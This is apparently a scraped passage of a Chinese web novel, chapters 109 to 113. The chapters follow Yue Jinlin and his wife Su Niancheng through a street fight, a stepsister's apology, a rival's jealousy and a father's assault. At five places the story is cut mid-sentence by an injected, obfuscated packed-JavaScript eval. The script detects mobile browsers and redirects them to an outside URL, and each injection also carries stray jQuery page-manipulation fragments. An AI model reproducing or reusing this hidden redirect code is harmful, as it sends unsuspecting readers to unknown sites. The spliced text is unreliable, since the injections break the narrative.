老张挠挠头,“我是说,虽然说你钱多脑子也灵活,但是现在的局势,搞这玩意真能有盼头吗?” 越靳临放下笔,靠在椅背上,看着他。 “怎么没盼头?” 老张被他那眼神看得有点不自在,但还是硬着头皮说下去,“我就是觉得,现在国家政策虽然放开了,但搞房地产这玩意儿,投进去的钱可不是小数目。万一……” 他没说下去,但意思很明显。 越靳临沉默了两秒,忽然笑了。 “没有万一。”他说,声音沉稳,“下一个阶段,就是房地产的市场。” 老张愣住了。 越靳临站起来,走到窗边,看着外头那些正在施工的楼房。 “现在城里的人口越来越多,住房需求只会越来越大。”他回过头,看着老张,“年轻人有试错的机会。就算失败了,我也有重来的勇气。” 老张张了张嘴,没说出话来。 他跟了越靳临这么多年,知道他从来不做没把握的事。他说能行,那就是能行。 “那……”老张搓搓手,笑得有点不好意思,“到时候可以给我涨薪不?” 越靳临看了他一眼,嘴角弯了弯。 “行啊。” 老张乐了,又凑过来,“对了越工,最近嫂子怎么不来上班了?” 第一百零九章甜糕 越靳临低下头继续看图纸,“忙着复习,我不让她来。” “真男人。”老张竖起大拇指,“疼媳妇儿疼到这个份上,也就你了。” 越靳临没接话,继续翻着图纸。 老张识趣地没再打扰,转身出去了。 办公室里安静下来,只有翻纸的沙沙声。 越靳临处理完手头的事,抬头看了看窗外。太阳已经偏西了,天边染上淡淡的橙红色。 他想起昨天苏念橙说想吃甜的,今天工地附近新开了家卖甜糕的,正好去买点带回去。 他站起来,拿起外套,推门出去。 卖甜糕的摊子就在工地对面那条街上,骑车五分钟就到。这会儿正是下午,人不多,摊子前头排着稀稀拉拉几个人。 越靳临停好车,站在队尾。 前头站着个年轻姑娘,穿着件旧棉袄,低着头,安安静静的。他看了一眼,觉得有点眼熟,但没多想。 队伍慢慢往前挪。 轮到那个姑娘的时候,后头忽然挤过来一个男人,膀大腰圆,穿着一件脏兮兮的棉大衣,一把推开那姑娘,直接挤到最前头。 “老板,来两斤!” 那姑娘被推得踉跄了一下,脚底下绊到路边的石头,整个人往前扑,摔在地上。 手里的布包飞出去,东西撒了一地。 “哎哟——”她疼得叫出声来,眼泪一下子就涌出来了。 周围几个人看着,没人敢吭声。那男人回头看了一眼,哼了一声,转回去继续买糕。 越靳临眉头皱了皱。 他走上前,一把攥住那男人的后领,把人往后一拽。 “你干什么——”那男人回过头,瞪着眼,话还没说完,就对上一双冷沉沉的眸子。 “排队。”越靳临说,声音不大,但冷得很。 那男人被他那眼神看得心里发毛,但碍于人多他换是横着脖子道:“**谁啊?敢老子!” 越靳临冷着眸,三下五除二就将人打扒在地,那人被打的鼻青脸肿,最后嘟囔了一句什么,灰溜溜地跑了。 周围的人连忙鼓掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362503|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“好厉害的小伙子!” “这种人就该打!” 越靳临蹲下来,扶起地上那个姑娘。 “没事吧?” 那姑娘抬起头,愣住了。 是江月。 她眼眶红红的,脸上还挂着泪,看见他,整个人都僵住了。 “越、越同志?”她声音发颤。 越靳临也认出了她,点点头,松开手,“能站起来吗?” 江月咬着嘴唇,撑着地慢慢站起来。膝盖磕破了,疼得她倒吸一口凉气。 越靳临把地上散落的东西捡起来,装进布包里,递给她。 “以后遇到这种事,别忍着。”他说,声音淡淡的,“该反击就反击。” 江月接过布包,手指攥得紧紧的。 她看着他,心跳快得像要从嗓子眼蹦出来。 他就站在她面前,夕阳的余晖落在他身上,把他那张棱角分明的脸照得格外清晰。他脸上没什么表情,可那双眼睛,黑沉沉的,让人莫名觉得安心。 “谢谢你,越同志。”她低下头,声音闷闷的。 越靳临嗯了一声,转身走到摊子前,“老板,来两斤甜糕。” 老板麻利地给他装好,递过来。 越靳临付了钱,拎着纸包,跨上摩托车。 “越同志。”江月在身后叫他。 他回过头。 江月站在那儿,脸被风吹得红红的,嘴唇动了动,想说什么,最后只憋出一句,“你……你路上慢点。” 越靳临点点头,摩托车发动,很快就消失在街角。 江月站在原地,看着那个方向,攥紧手里的布包。 心跳还没平复下来。 她想起刚才他蹲下来扶她的那一幕,他的手很大,掌心粗糙,握着她胳膊的时候,那种触感,像过了电。 她咬了咬嘴唇,慢慢往回走。 走了几步,又忍不住回头看了一眼。街角空荡荡的,什么都没有了。 她收回目光,加快脚步。 另一边,苏念橙和越靳雪从供销社出来,手里拎着大包小包。 越靳雪买了两件新衣服,还给老太太买了条围巾,给越靳临买了双皮鞋。 苏念橙也买了几样东西,给越靳临买了件新毛衣,给老太太买了顶帽子。 “嫂子,咱们去那边看看吧?”越靳雪指着前面一个摊子,“那边有卖糖葫芦的。” 苏念橙点点头,“好。” 两人刚走了几步,迎面就撞上一个人。 苏荷雨站在几步外,穿着件浅色的大衣,脸色不太好,眼眶还有点红。她手里拎着个网兜,里头装着几盒药。 看见苏念橙,她脚步顿了顿,脸上闪过一丝复杂。 苏念橙也看见了她,脸上的笑淡下来。 越靳雪不认识苏荷雨,但看这气氛不太对,下意识往苏念橙身边靠了靠。 “嫂子?”她小声问,“这是谁啊?” 苏念橙没回答,只是看着苏荷雨。 苏荷雨也看着她,两人就这么站着,谁都没说话。 最后还是苏荷雨先开口。 “姐。”她叫了一声,声音淡淡的,不像以前那样装得甜腻腻的。 苏念橙看着她,没接话。 苏荷雨扯了扯嘴角,那个笑,有点苦。 “姐,我找到工作了。”她说,“在厂里当文员,一个月二十五块。” 苏念橙愣了一下,没想到她会说这个。 苏荷雨低下头,看着手里的网兜,“我妈病了,高血压,在诊所打点滴。我刚从那儿出来。” 苏念橙心里动了一下,但脸上没露出来。 苏荷雨抬起头,看着她,那眼神,跟以前不一样了。没有以前的假惺惺,也没有以前的得意,就是平平淡淡的,像在看一个认识的人。 “姐,”她顿了顿,“以前的事,是我做得不对。” 苏念橙愣住了。 越靳雪站在旁边,看看这个,又看看那个,有点懵。 苏荷雨低下头,声音闷闷的,“我不该给你下药,也不该让晶晶卡你的材料。你恨我,应该的。” 她说完,转身就走。 苏念橙站在原地,看着她的背影消失在街角。 风吹过来,凉飕飕的。 “嫂子,”越靳雪凑过来,压低声音,“她是谁啊?” 苏念橙回过神,“我继妹。” 第一百一十章 异样 越靳雪愣了一下,回头看了看苏荷雨消失的方向,又转回来,“原来是你妹妹呀?长得也挺漂亮的。” 苏念橙淡淡嗯了一声,没多说什么。 她脑子里还在想刚才苏荷雨那番话。她妈病了,高血压,在诊所打点滴。她被辞退了,不知道找没找到工作。 她说以前的事是她不对。 苏念橙扯了扯嘴角。这些话听着,总觉得不像她会说出来的。 可她那样子,又不像是装的。脸色苍白,眼眶红红的,说话也没了以前那股矫揉造作的劲儿。 她摇摇头,把那点念头甩开。管她呢,她的事跟她有什么关系? “嫂子,”越靳雪凑过来,压低声音,“你跟你妹妹是不是关系不好?” 苏念橙点点头,“嗯。” “为什么呀?” 苏念橙沉默了两秒,“说来话长,不过最近对我做的狠事,就是给我下过**。” 越靳雪愣住了。 她瞪大眼睛,嘴巴张着,半天没合上。 “下、下药?”她声音都变了调,“她给你下药?” 苏念橙点点头,推着自行车往前走,“不过都是过去的事了。走吧,回家。” 越靳雪跟在后头,脸都气红了,“这也太欺负人了吧!亏我刚才还说她长得挺漂亮,漂亮有什么用?心肠这么坏!” 她越想越气,“嫂子,你以后别理她了。这种人,离得越远越好。” 苏念橙笑了笑,“嗯,不理了。” 两人骑上自行车,慢慢往回走。 风还是凉的,但比前几天那么冷些。街边的梧桐树光秃秃的,枝丫伸向灰蒙蒙的天。 骑了一段,越靳雪忽然想起什么,“对了嫂子,我还没去看过陈姨呢。她住院多久了?” “大半个月了。”苏念橙说,“做了手术,恢复得不错。” “那咱们现在去看看吧?”越靳雪说,“反正都出来了,顺路。” 苏念橙点点头,“好。” 两人拐了个弯,往鄂州医院骑。 医院还是那栋楼,门口停着几辆自行车,有人进进出出。 苏念橙停好车,带着越靳雪往里走。 病房在三楼,走廊里飘着消毒水的味道。苏念橙推开门,陈母正靠在床头看书,陈芳婷坐在旁边削苹果。 听见动静,两人抬起头。 “念橙来了?”陈母笑了,目光落在越靳雪身上,眼睛一亮,“这是……小雪?” 越靳雪跑过去,在床边蹲下来,“陈姨!您还记得我呀?” “怎么不记得?”陈母拉着她的手,上下打量,“都长这么大了,跟小时候不一样了。小时候圆滚滚的,现在瘦了,好看了。” 越靳雪嘿嘿笑,“您倒是没变,还是那么年轻。” 陈母被她逗得合不拢嘴,“这孩子,嘴还是这么甜。” 陈芳婷站起来,把削好的苹果递给母亲,看向越靳雪,“小雪,什么时候回来的?” “昨天刚到的。”越靳雪站起来,一把抱住她,“芳婷姐,好久不见!” 陈芳婷被她抱得愣了一下,随即笑了,拍拍她的背,“是好久不见了。在京海念书累不累?” “还行。”越靳雪松开她,笑得眉眼弯弯,“就是老想家。想奶奶,想我哥,现在还想嫂子。” 陈芳婷看了苏念橙一眼,笑了笑,“你嫂子是挺好的。” 苏念橙被她看得有点不好意思,低下头。 越靳雪又跟陈母说了几句话,问了问病情,说了些小时候的事。陈母精神不错,聊得挺开心。 聊了十来分钟,越靳雪站起来,“陈姨,那我们先走了。您好好休息,改天再来看您。” 陈母点点头,“好孩子,路上慢点。” 话音刚落,门被推开了。 萧文彦站在门口,穿着白大褂,手里拎着个网兜,里头装着两个饭盒。 “阿姨,今天怎么样?”他走进来,把网兜放到床头柜上,“买了馄饨,还热着。芳婷,你也吃点。” 陈芳婷看了他一眼,接过饭盒,“谢谢。” 越靳雪站在旁边,看着这一幕,眼睛眨了眨。 萧文彦注意到她,礼貌地点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362504|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“这位是……” “这是靳临哥的妹妹,越靳雪。”陈芳婷说,“刚从京海回来。” 萧文彦笑了笑,“越同志好。” 越靳雪也笑了笑,“你好。” 她看了看萧文彦,又看了看陈芳婷,嘴角弯了弯,没说什么。 两人出了病房,往楼下走。 走到楼梯口,越靳雪终于忍不住了,凑到苏念橙耳边,压低声音,“嫂子,那个男的是谁呀?对芳婷姐挺好的。” 苏念橙笑了笑,“萧文彦,鄂州医院的医生。跟芳婷姐在处对象。” 越靳雪眼睛亮了,“处对象?真的假的?芳婷姐有对象了?” “嗯,家里介绍的。”苏念橙说,“人挺好的,对芳婷姐也好。” 越靳雪点点头,若有所思,“难怪我刚才看他看芳婷姐的眼神,不太一样。” 苏念橙笑了,“哪儿不一样?” “就是……”越靳雪想了想,“说不上来。反正就是不一样。” 苏念橙笑笑没说话。 两人出了医院,骑上自行车,往大院走。 越靳雪坐在后座,搂着苏念橙的腰,还在念叨,“嫂子,你说芳婷姐以前是不是喜欢我哥?” 苏念橙手顿了顿,“怎么这么问?” “我就是感觉。”越靳雪说,“小时候她就老跟我哥玩,我还以为他们会在一起呢。没想到她跟别人处对象了。” 苏念橙没接话,蹬着自行车往前骑。 越靳雪又说,“不过那个萧医生看着也挺好的,对芳婷姐好就行。” “嗯。”苏念橙点点头,“是挺好的。” 两人回到家,老太太正在院子里浇花。看见她们回来,笑着招呼,“回来了?买了什么好东西?” 越靳雪跳下车,跑过去,“奶奶,我给你买了条围巾!您看看喜不喜欢!” 她把围巾掏出来,给老太太围上。老太太摸着那柔软的毛线,笑得合不拢嘴,“喜欢,喜欢。你这孩子,花这钱干嘛?” “给您花钱,应该的。”越靳雪挽着她的胳膊,往屋里走。 第一百十一章 江月 苏念橙把自行车停好,拎着东西跟进去。 天快黑了,越靳临还没回来。老太太去厨房做饭,苏念橙帮着打下手,越靳雪在旁边剥蒜。 三个人忙活着,有说有笑的。 另一边,城东,一条窄巷子尽头。 江月推开门,腿上的伤还在隐隐作痛。她咬着嘴唇,一瘸一拐地往里走。 还没走到门口,就听见屋里传出来的争吵声。 “我跟你说了多少回了?咱们家养不起那么多人!”一个男人的声音,又粗又急,“你姐姐家那个丫头,天天住咱们家吃咱们家的,你考虑过你儿子的感受吗?” “你以为我想啊?”女人的声音拔高了,“那是我亲姐姐的孩子!我姐刚死没几年,我能把她往外推?” “那你就让她在咱们家白吃白住?她自己没手没脚?” “她不是在复习考大学吗?考上就好了——” “考上?”男人冷笑一声,“就她那样,能考上?你姐当年也说要考大学,考上了吗?最后还不是嫁了个赌鬼,把自己折腾**。” 江月站在门外,手指攥紧门框,指节泛白。 “你别这么说我姐!”女人的声音带了哭腔,“我姐命不好,嫁了个不争气的。可那丫头是无辜的——” “无辜?无辜就活该咱们养着?你看看她,来了这么久,帮过什么忙?连顿饭都不做——” “她不是在学习吗?” “学习学习,就知道学习!学了这么久,考上什么了?要我说,趁早让她去厂里上班,挣点钱贴补家用——” “你小声点!她该回来了——” 江月推开门。 屋里的声音戛然而止。 她站在门口,低着头,没看那两个人。 二姨李秀芬站在厨房门口,围裙上沾着水渍,脸上还带着没来得及收起来的尴尬。二姨夫张大山坐在桌边,手里拿着根烟,脸黑沉沉的。 “回来了?”李秀芬先开口,声音有些不自然,“去哪儿了?饭也不回来吃。” 江月低着头,换了鞋,“去图书馆了。” “图书馆图书馆,天天去图书馆。”张大山把烟掐灭在烟灰缸里,“看书能看出钱来?” 江月没说话。 李秀芬瞪了张大山一眼,走过来,“腿怎么了?怎么一瘸一拐的?” “摔了一跤。”江月说,声音闷闷的。 “摔了?怎么这么不小心?”李秀芬扶着她坐到椅子上,“我看看。” “没事,就蹭破了点皮。”江月躲了一下,“二姨,我回屋了。” 她站起来,往自己那间小屋走。 李秀芬站在后头,张了张嘴,想说什么,又咽回去。 张大山哼了一声,拿起桌上的酒瓶,倒了一杯。 江月关上门,靠在门板上。 屋里黑漆漆的,只有窗户缝里透进来一点光。那张单人床靠墙摆着,床上铺着洗得发白的床单。桌上堆着几本书,一支笔,一个本子。 她站了一会儿,慢慢走到床边坐下。 膝盖上的伤还疼,裤子磨破了,露出里头的皮肉,红了一片。她低下头,看着那片伤,眼眶忽然酸了。 她想起刚才二姨夫那些话。 “就她那样,能考上?” “你姐当年也说要考大学,考上了吗?” “趁早让她去厂里上班。” 她攥紧拳头,指甲掐进掌心。 她想起三年前,母亲躺在病床上,瘦得只剩一把骨头,拉着她的手说:“月儿,妈对不起你。你一定要好好读书,考上大学,离开这个鬼地方。” 她那时候不懂,后来才明白,母亲是知道自己要走了,放心不下她。 母亲走后,父亲好赌,被人打断腿,后来又因为**被抓进去,判了十年。弟弟还小,跟着奶奶在乡下,日子过得紧巴巴的。 她用母亲留给她的一点积蓄,来了省城。借住在二姨家,报了补习班,想考大学。 她以为只要考上大学,一切都会好起来。 可现在—— 她低下头,把脸埋进膝盖里。 肩膀开始抖,没发出声音。 她想起今天在甜糕摊子前,那个男人蹲下来扶她。他手很大,掌心粗糙,握着她胳膊的时候,那种触感,像过了电。 他说话的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368083|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,声音低沉,那双眼睛黑沉沉的,像能看透人心。 她从来没见过这样的人。 在乡下的时候,那些男人,不是粗鲁就是窝囊。她二姨夫,整天喝酒骂人,嫌弃她吃白饭。 可他不一样。 他长得俊,有本事,对人好。 可他有媳妇儿了。 是苏念橙。 她咬了咬嘴唇,抬起头,看着窗外那一片黑。 苏念橙跟她一样,也是从乡下来的。凭什么她能嫁这么好的男人?有车,有房,长得俊,还那么温柔。 她攥紧拳头,指甲掐进掌心。 凭什么? 她想起那天在校门口,她站在那辆吉普车旁边,笑着跟他们介绍。 那个笑,刺眼得很。 她深吸一口气,站起来,走到桌边,拉开抽屉。 里头躺着一条围巾,灰色的,毛线软软的。是她攒了好久的钱买的,想送给那个人。 可她一直没敢送。 她盯着那条围巾,看了很久。 然后她关上抽屉,躺回床上。 盯着天花板,脑子里全是今天那个画面。 她翻了个身,把脸埋进枕头里。 她闭上眼睛。 苏念橙,你等着。 总有一天,我会得到我想要的一切。 军区大院。 苏念橙打了个喷嚏。 “嫂子,你感冒了?”越靳雪从厨房探出头。 苏念橙摇摇头,“没有,可能谁在念叨我。” 老太太在旁边笑,“肯定是临儿,想着你还没吃饭。” 苏念橙脸微微一红,低下头继续切菜。 正说着,门外传来脚步声。 越靳临推门进来,手里拎着个纸包,身上还带着外头的寒气。 “回来了?”老太太从厨房探出头,“洗手吃饭。” 越靳临嗯了一声,换了鞋走进来。他把纸包递给苏念橙,“给你买的。” 苏念橙接过来,打开一看,是两块甜糕。还冒着热气,甜丝丝的香味飘出来。 “谢谢。”她抬起头,看着他笑。 越靳临低头看着她,嘴角弯了弯,“今天跟小雪逛得怎么样?” 第一百十二章 你的安全我的底线 “挺好的。”苏念橙把甜糕放到桌上,“买了新衣服,还给奶奶买了帽子。” 越靳雪从厨房跑出来,“哥!我还给你买了双皮鞋!你看看喜不喜欢!” 她把鞋盒递过来,越靳临打开看了一眼,点点头,“还行。” “什么叫还行?”越靳雪急了,“这可是嫂子的主意!” 越靳临嘴角弯了弯,“是吗?你嫂子眼光真好。” 越靳雪翻了个白眼,气呼呼道:“要不要这么双标呀?”随后又跑回厨房帮忙。 片刻后,饭菜端上桌,四个人围坐着吃饭。 吃完饭,越靳雪拉着老太太看电视,苏念橙和越靳临收拾碗筷。 两人在厨房里,一个洗一个擦,配合默契。 “今天累不累?”越靳临问。 苏念橙摇摇头,“不累。跟小雪逛了一下午,挺开心的。” “那就好。”他把洗好的碗放进柜子里,“明天还出去吗?” “不了。”苏念橙说,“得复习了。快考试了。” 越靳临点点头,“嗯,那我在家陪你。” 苏念橙抬起头,看着他笑,“你不去工地?” “工地没什么事了。”他说,“收尾的活,有老张盯着。” 苏念橙心里一暖,“好。” 两人洗完碗,从厨房出来。越靳雪正靠在老太太肩上打瞌睡,老太太拍拍她的脸,“困了就去睡,别在这儿硬撑着。” 越靳雪揉揉眼睛,“那我去睡了。奶奶晚安,哥晚安,嫂子晚安。” “晚安。”三个人应了一声。 越靳雪上了楼,老太太也回屋了。 客厅里只剩下两个人。 越靳临坐在沙发上,拿起一本书。苏念橙在他旁边坐下,也翻开自己的笔记本。 两人安静地坐着,各看各的。 看了一会儿,苏念橙忽然想起什么,抬起头。 “越靳临。” “嗯?” 她咬了咬嘴唇,“今天碰见苏荷雨了。” 越靳临手顿了顿,抬起头看她。 “她说她妈病了,高血压。”苏念橙说,“她不是被辞退了吗?不知道现在有没有工作,万一她缺钱呢?” 越靳临闻言很无奈,伸手揉了揉她的头发,“你是不是心软了?” 苏念橙低下头,没否认。 “那也是我爸的媳妇儿、女儿。”她声音闷闷的,“我也没办法真正不管她们。” 越靳临看着她低垂的睫毛,沉默了几秒。 “那你想怎么做?”他问。 苏念橙咬了咬嘴唇,“那件事……就过去了吧。让她好找工作点,别在外面瞎折腾了,好歹是大学生。” 越靳临没说话,只是看着她。 苏念橙抬起头,对上他那双黑沉沉的眼睛,“行吗?” 他叹了口气,把她拉进怀里。 “你太善良了。”他说,下巴抵在她头顶,“她那么对你,你还替她着想。” 苏念橙靠在他胸口,“我不是替她着想。我就是……不想让自己心里过不去。” 越靳临抱着她,没说话。 过了一会儿,他开口,“行。我让人打个招呼,给她安排个工作。但前提是——” 他松开她,低头看着她的眼睛,“如果她再敢动你一根寒毛,我送她去坐牢。” 苏念橙愣了一下,点点头,“好。” 他伸手,拇指轻轻摩挲着她的脸颊,“记住,你心软是你的事。但你的安全,是我的底线。” 苏念橙心里一暖,踮起脚尖,在他脸上亲了一下。 “知道了。”她说。 越靳临嘴角弯了弯,把她重新拉进怀里。 客厅里,电视还开着,里头放着什么节目,没人看。墙上的挂钟嘀嗒嘀嗒走着,时间一点一点过去。 两人就这么抱着,谁都没说话。 过了好一会儿,苏念橙打了个哈欠。 “困了?”越靳临低头看她。 苏念橙点点头,“嗯。” “那上去睡。”他松开她,站起来,朝她伸出手。 苏念橙把手放上去,他握住,把她拉起来。两人关了灯,上楼。 另一边,何家。 苏荷雨推开门,屋里亮着灯。何钧礼正坐在桌边看图纸,听见动静抬起头。 “回来了?”他放下手里的笔,“妈怎么样了?” 苏荷雨换了鞋,走进来,脸色不太好,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368084|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医生说血压太高,得住院观察几天。” 何钧礼眉头皱了皱,“这么严重?” 苏荷雨在他旁边坐下,靠在他肩上,“嗯。医生说不是单纯的高血压,可能还有别的毛病,得做进一步检查。” 何钧礼揽着她的肩,“别担心,明天我陪你去医院。” 苏荷雨抬起头,眼眶红红的,“真的?” “嗯。”何钧礼点点头,“跟单位请个假就行。” 苏荷雨靠回他肩上,声音闷闷的,“钧礼,谢谢你。” 何钧礼拍拍她的背,“谢什么,应该的。你妈就是我妈。” 苏荷雨没说话,只是靠着他,闭上眼睛。 何钧礼低头看她,心里忽然有点不是滋味。 他想起今天在单位听到的消息,说那个姓越的工地上个月刚拿了个新项目,规模不小。还说他在城东又买了两块地,准备开春动工。 一个干工地的,哪来这么多钱? 他越想越不对劲,可又说不上来哪里不对。 “钧礼?”苏荷雨的声音在耳边响起。 他回过神,“嗯?” “你想什么呢?”苏荷雨抬起头看他。 何钧礼摇摇头,“没什么。你早点睡吧,明天还要去医院。” 苏荷雨点点头,站起来往屋里走。走了两步,又回过头,“钧礼,你也早点睡。” “嗯。” 门关上了。何钧礼坐在桌边,盯着桌上那张图纸,脑子里却全是别的事。 他想起那天在胡同口,苏念橙看他的那个眼神。 冷的,失望的,像在看一个陌生人。 他攥紧拳头,指甲掐进掌心。 算了。不想了。她的事,跟他没关系。 第二天一早,苏念橙吃完饭,骑车去上课。 天还是冷,风吹来像刀子划过,她把围巾往上拉了拉,蹬得快了些。 补习班的课已经上了大半,老师讲的内容也越来越难。她听得认真,手里的笔飞快地记着。 两节课很快就过去了。 下课铃响的时候,苏念橙揉了揉发酸的手腕,收拾好东西往外走。 苏昭昭跟在后头,“念橙,你今天回家吃饭吗?” 第一百十三章 护她 “嗯,回去吃。”苏念橙说,“你呢?” 苏昭昭叹了口气,“我随便吃点,下午还有课。” 两人走到校门口,苏昭昭朝她挥挥手,“那我先走了,下午见。” “好。” 苏念橙推着自行车,往胡同口走。走到半路,忽然想起越靳临昨晚说想吃饺子,就拐了个弯,往菜市场骑。 菜市场人不多,她买了斤肉,又买了把韭菜,装进车筐里。 推着车出来,刚要跨上去,忽然看见不远处有个人影。 苏国强站在诊所门口,穿着件灰扑扑的中山装,手里拎着个网兜,里头装着几盒药。他正低头点烟,脸色不太好。 苏念橙愣住了。 她没想到会在这儿碰见他。 她下意识想绕开走,可已经来不及了。 苏国强抬起头,看见了她。 四目相对。 苏念橙站在原地,没动。 苏国强也站着,手里那根烟夹在指间,忘了点。 沉默了几秒,苏国强先动了。 他把烟别到耳后,走过来,站在她面前。 苏念橙看着他,那张脸比上次见的时候瘦了些,也黑了些,眼窝深陷,看着老了好几岁。 “爸。”她叫了一声,声音淡淡的。 苏国强没应,只是看着她。 那眼神,冷得很。 苏念橙心里忽然有点不安。她往后退了半步,手扶着车把。 “你也来省城了?”她问。 苏国强没回答,只是盯着她。 然后他猛地扬起手,一巴掌扇在她脸上。 “啪——” 清脆的响声在胡同里格外响亮。 苏念橙被打得偏过头去,脸颊火辣辣地疼,嘴角渗出血来。她捂着脸,脑子里嗡的一声。 “你个良心狗肺的东西!”苏国强指着她的鼻子骂,脸涨得通红,“当初就不该生你!你妹妹好好的工作,你凭什么让人搞掉?现在你妈病了,急需要钱,你竟然敢这样——你还是人吗?” 苏念橙捂着脸,那半边脸肿起来,疼得厉害。可她没哭,只是看着他。 “你有什么证据?”她开口,声音冷冷的,“没有证据就别在这儿信口雌黄。” 苏国强愣了一下,随即更火了,“证据?你妹妹亲口说的,还能有假?” “她说什么就是什么?”苏念橙看着他,“她有没有告诉你,她为什么被辞退?” 苏国强张了张嘴,说不出话来。 苏念橙看着他那张脸,忽然笑了。那笑意不达眼底,反倒让人觉得冷。 “你是不是忘了,”她一字一顿,“我们早就断绝关系了。我就算真的想搞她,那也是我的事。何况——” 她顿了顿,声音更冷,“是你女儿自己干了黑心肝的事,丢了工作怪得了谁?” 苏国强脸涨成猪肝色,“你——你胡说!” 他扬起手又要打。 苏念橙没躲,就那么看着他。 巴掌没落下来。 一只手从身后伸过来,稳稳攥住苏国强的手腕。 苏国强愣住了,抬头一看,对上一双冷沉沉的眸子。 越靳临站在苏念橙身后,脸上没什么表情,可那双眼睛,冷得像结了冰。 他攥着苏国强的手腕,用力一推。苏国强踉跄着往后退了两步,差点摔倒。 “你——”苏国强站稳了,瞪着他,“你干什么?” 越靳临没理他,转过身,低头看着苏念橙。 她站在那儿,左脸红肿,嘴角有血,眼眶红红的,但没哭。 他眉头皱起来,伸手轻轻碰了碰她的脸,“疼不疼?” 苏念橙摇摇头,“不疼。” 其实疼,但她不想说。 越靳临脸色沉下来,转过身,看着苏国强。 苏国强被他那眼神看得心里发毛,往后退了半步,“你、你想干什么?” 越靳临往前走了一步,“你打我媳妇儿?” 苏国强梗着脖子,“我打我闺女,关你什么事?” “她是我媳妇儿。”越靳临看着他,声音冷得像淬了冰,“你打她,就是打我的脸。” 苏国强张了张嘴,说不出话来。 越靳临看着他,“上次的事,我没跟你计较。这次你又来?” 他往前走了一步,居高临下地看着苏国强,“你是不是以为,我真拿你没办法?” 苏国强被他那眼神看得腿都软了,扶着墙才没倒下去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368085|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你、你别乱来——”他声音发颤,“现在是法制社会——” “法制社会?”越靳临重复了一遍,忽然笑了。那笑意不达眼底,反倒让人心里发寒,“你也知道是法制社会?**是什么罪,你知道吗?” 苏国强愣住了。 越靳临看着他,那眼神像在看一只蝼蚁。 “念橙心软,不跟你计较。”他说,“但我不会。你再敢动她一根手指头,我让你吃不了兜着走。” 他转过身,牵起苏念橙的手,“走,回家。” 苏念橙被他牵着,走了两步,又回过头。 苏国强站在原地,脸白得像纸,嘴唇哆嗦着,说不出话来。 她收回目光,跟着越靳临往前走。 走了几步,她忽然停下脚步。 “靳临。”她叫他。 他回过头,“嗯?” 苏念橙咬了咬嘴唇,“刚才那些话……谢谢你。” 越靳临看着她那副样子,心里软了一下。他伸手,揉了揉她的头发,“又来了。走吧,回家给你上药。” 苏念橙点点头,被他牵着往前走。 两人走到摩托车旁边,越靳临跨上去,苏念橙坐到他身后,搂住他的腰。 摩托车发动,往大院开。 风呼呼地吹,她把脸埋在他背上,没说话。 他也没说话,只是开得比平时慢了些。 回到家,越靳临停好车,牵着她往里走。 老太太正坐在客厅里看电视,看见苏念橙那副样子,吓了一跳。 “怎么了这是?”她站起来,走过来,“脸怎么肿成这样?” 苏念橙摇摇头,“没事奶奶,不小心碰的。” 老太太看着那红肿的脸,还有嘴角的血,心疼得不行,“碰的?这哪是碰的?是不是谁打你了?” 苏念橙没说话。 老太太看向越靳临,“临儿,怎么回事?” 越靳临脸色不太好看,“她爸打的。” 老太太愣住了,随即脸沉下来,“她爸?就是那个卖闺女的?” 越靳临点点头。 